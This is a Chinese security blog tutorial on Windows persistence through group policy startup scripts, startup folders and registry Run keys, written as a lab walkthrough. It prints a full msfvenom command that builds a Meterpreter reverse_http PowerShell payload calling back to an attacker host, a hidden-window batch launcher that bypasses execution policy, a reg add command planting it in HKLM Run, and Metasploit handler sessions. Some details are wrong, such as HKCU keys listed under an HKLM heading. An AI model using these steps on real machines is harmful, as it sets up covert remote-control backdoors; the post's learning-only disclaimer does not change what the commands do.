Windows之启动项

启动项维持                                                          

启动项目,就是开机的时候系统会在前台或者后台运行的程序。当操作系统完成登录过程,进程表中出现了很多的 进程。操作系统在启动的时候,自动加载了很多程序。许多程序的自启动,给我们带来了很多方便,这是不争的事 实,但不是每个自启动的程序对我们都有用;更甚者,也许有病毒或木马在自启动行列。

组策略维持                                                                                

一、组策略介绍

介绍:组策略(英语:Group Policy)是微软Windows NT家族操作系统的一个特性,它可以控制用户帐户和计算 机帐户的工作环境。组策略提供了操作系统、应用程序和活动目录中用户设置的集中化管理和配置。组策略的其中 一个版本名为本地组策略(缩写“LGPO”或“LocalGPO”),这可以在独立且非域的计算机上管理组策略对象。
原理:在组策略中添加Payload,利用组策略的自启动策略来加载Payload文件

二、组策略所在位置

1、在运行框中输入 “gpedit.msc ”,点击确定或者直接按键盘上的回车键,打开组策略
 
2、在【Windows设置】->【脚本(启动/关机)】双击【启动】就可以进行设置
 
 
3、选择要添加的脚本或者PowerShel
 

三、利用方式

1、我么使用msf生成一段PowerShsell进行测,试将生成的PowerShell脚本写入本地策略组中【还不会生成的请阅 读之前的内容】
(1)机器名和IP地址如下:
主机名 IP地址 备注
kali 192.168.200.200 攻击机
windows 192.168.200 受害机
(2)kali 生成powershell
┌──(root💀hack-kali)-[~]
└─# msfvenom -p windows/x64/meterpreter/reverse_http -e x64/shikata_ga_nai -i 15 -b 'x00' lhost=192.168.200.200 lport=3333 -f psh -o shell.ps1
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
[-] Skipping invalid encoder x64/shikata_ga_nai
[!] Couldn't find encoder to use
No encoder specified, outputting raw payload
Payload size: 710 bytes
Final size of psh file: 4230 bytes
Saved as: shell.ps1
                                                                                                                                                                 
┌──(root💀hack-kali)-[~]
└─# 
(3)将生成的powershell下载到2008机器上使用 python -m SimpleHTTPServer 8000 命令传递
┌──(root💀hack-kali)-[~]
└─# python -m SimpleHTTPServer 8000
Serving HTTP on 0.0.0.0 port 8000 ...
192.168.200.133 - - [17/Aug/2022 02:36:01] "GET / HTTP/1.1" 200 -
192.168.200.133 - - [17/Aug/2022 02:36:04] "GET /shell.ps1 HTTP/1.1" 200 -
(4)创建一个1.bat脚本,并且添加到组策略【脚本】中
bat脚本内容如下:
@echo off
powershell.exe -w hidden -ExecutionPolicy Bypass -NoExit -File C:\Users\Administrator\Desktop\tmp\shell.ps1
exit
-w 隐藏窗口
-ExecutionPolicy Bypass 绕过策略
-NoExit 不推出 添加到组策略开机启动中:
(5)kali运行msf进行监听
msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_http
payload => windows/x64/meterpreter/reverse_http
msf6 exploit(multi/handler) > set lhost 192.168.200.200
lhost => 192.168.200.200
msf6 exploit(multi/handler) > set lport 3333
lport => 3333
msf6 exploit(multi/handler) > run 

[*] Started HTTP reverse handler on http://192.168.200.200:3333
(6)重启Windows server 2019机器查看是否已经连接
 

启动文件夹维持      

一、启动文件夹介绍 

启动文件夹可以使程序在开始时候自动启动。将需要开机自动启动的程序复制到开始菜单——所有程序——启动的文件夹内,可以将开机程序自动启动。

二、启动文件夹位置

 
启动文件夹:
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp     #系统级,需要system权限

C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup   #用户级,普通用户就可以

组策略脚本启动文件夹: 
C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup
C:\Windows\System32\GroupPolicy\Machine\Scripts\Shutdown
C:\Windows\System32\GroupPolicy\User\Scripts\Logon
C:\Windows\System32\GroupPolicy\User\Scripts\Logoff
三、利用方式
1、创建脚本
2、放入上述文件夹
3、msf利用

注册表维持     

一、注册表介绍

注册表(Registry,繁体中文版Windows操作系统称之为登录档)是Microsoft Windows中的一个重要的数据库, 用于存储系统和应用程序的设置信息。早在Windows 3.0推出OLE技术的时候,注册表就已经出现。随后推出的 Windows NT是第一个从系统级别广泛使用注册表的操作系统。但是,从Microsoft Windows 95操作系统开始,注 册表才真正成为Windows用户经常接触的内容,并在其后的操作系统中继续沿用。

二、注册表位置

1、在运行框中输入 “regedit ”,点击确定或者直接按键盘上的回车键,打开组策略

三、利用方式

1、Windows注册表存在的自启动后门较多,此类后门主要利用原理为将Payload文件植入具备自启动特性的注册 表中,这样Payload就会在计算机启动过程被执行。此处以较为经典的两类自启动项进行说明演示
# HKEY_LOCAL_MACHINE类
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce 
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx 
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices 
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
# HKEY_CURRENT_USER类
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce 
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx 
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices 
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
2、本次实验利用方式是,使用reg  add 命令进行添加,命令介绍如下
REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f] [/reg:32 | /reg:64]
KeyName     [\\Machine\]FullKey
 
Machine     远程机器名  ­ 忽略默认到当前机器。远程机器上 只有  HKLM 和  HKU 可用。
FullKey     ROOTKEY\SubKey
ROOTKEY     [ HKLM | HKCU | HKCR | HKU | HKCC ] SubKey     所选  ROOTKEY 下注册表项的完整名称。
/v     所选项之下要添加的值名称。
/ve     为注册表项添加空白值名称(默认)。
/t     RegKey 数据类型
[ REG_SZ     | REG_MULTI_SZ | REG_EXPAND_SZ |
REG_DWORD | REG_QWORD     | REG_BINARY     | REG_NONE ]
如果忽略,则采用  REG_SZ。
/s     指定一个在  REG_MULTI_SZ 数据字符串中用作分隔符的字符 如果忽略,则将  "\0" 用作分隔符。
/d     要分配给添加的注册表   ValueName 的数据。
/f     不用提示就强行覆盖现有注册表项。
/reg:32     指定应该使用  32 位注册表视图访问的注册表项。
/reg:64     指定应该使用  64 位注册表视图访问的注册表项。
3、根据上述的提示,我们将【1.bat】添加到注册中,进行启动
使用如下命令
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v shell /t REG_SZ /d "C:\Users\Administrator\Desktop\tmp\1.bat"
4、msf监听
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_http
payload => windows/x64/meterpreter/reverse_http
msf6 exploit(multi/handler) > set lhost 192.168.200.200
lhost => 192.168.200.200
msf6 exploit(multi/handler) > set lport 3333
lport => 3333
msf6 exploit(multi/handler) > run

[*] Started HTTP reverse handler on http://192.168.200.200:3333
5、重启主机
6、查看kali msf
 

文章版权声明 1、本网站名称:Happy峰安全运营之路
2、本站永久网址:https://blog.chenjiangfeng.com
3、本站发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
4、本网站的文章部分内容可能来源于网络,仅供大家学习与参考,如有侵权,请联系站长进行删除处理。
5、本站一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
6、本站一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报
7、根据《计算机软件保护条例》第十七条,本站所有软件请仅用于学习研究用途

© 版权声明
THE END
喜欢就支持一下吧
点赞15打赏 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情图片

    暂无评论内容